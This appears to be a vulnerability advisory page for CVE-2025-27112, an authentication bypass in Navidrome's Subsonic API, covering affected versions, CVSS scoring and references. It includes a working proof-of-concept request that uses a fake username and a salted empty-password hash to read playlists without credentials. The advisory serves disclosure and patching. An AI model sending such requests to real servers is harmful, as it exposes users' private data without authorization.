🛡️ CVE-2025-27112 — navidrome
Description
Navidrome allows an authentication bypass in Subsonic API with non-existent username
Summary
In certain Subsonic API endpoints, authentication can be bypassed by using a non-existent username combined with an empty (salted) password hash. This allows read-only access to the server’s resources, though attempts at write operations fail with a “permission denied” error.
Details
A flaw in the authentication check process allows an attacker to specify any arbitrary username that does not exist on the system, along with a salted hash of an empty password. Under these conditions, Navidrome treats the request as authenticated, granting access to various Subsonic endpoints without requiring valid credentials.
Proof of Concept (PoC)
1. Generate a random salt:
```javascript
// e.g., salt = "x1vbudn1m6d"
Math.random().toString(36).substring(2, 15)
```
2. Calculate the MD5 hash of an empty password plus the salt:
```shell
# Using the example salt above
echo -n "x1vbudn1m6d" | md5sum
81f0c0fb5d202ab0d012e6eaeb722d79 -
```
3. Send a request specifying a fake user, with the hash and salt values:
```
GET https://[host]/rest/getPlaylists?u=FakeUser&t=81f0c0fb5d202ab0d012e6eaeb722d79&s=x1vbudn1m6d&v=1.16.1&c=castafiore&f=json
```
Impact
An attacker can use any non-existent username to bypass the authentication system and gain access to various read-only data in Navidrome, such as user playlists. However, any attempt to modify data fails due to insufficient permissions, limiting the impact to unauthorized viewing of information.
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity low, availability none.
Weakness class
CVE-2025-27112 is classified as CWE-287: Improper Authentication. The identity of the caller is not established correctly, so an attacker can act as another user.
Affected software
CVE-2025-27112 is recorded against 2 packages.
- github.com/navidrome/navidrome
- navidrome (from 0.52.0 up to 0.54.5)
Timeline and source
Published on 25 February 2025 and last revised on 3 March 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/navidrome/navidrome | — | — |
| navidrome | 0.52.0 | 0.54.5 |
References
Similar Threats
- Medium CVE-2026-25578
- Critical CVE-2026-25579
- High CVE-2025-48948
- Critical CVE-2025-48949
- High CVE-2024-56362
More CVE 2025 advisories
Browse all of CVE 2025 in the advisory index.
Vulnerability Monitoring
Track new vulnerabilities in navidrome
CVE-2025-27112 is rated CVSS 6.5 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.
Set Up Free Alerts →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.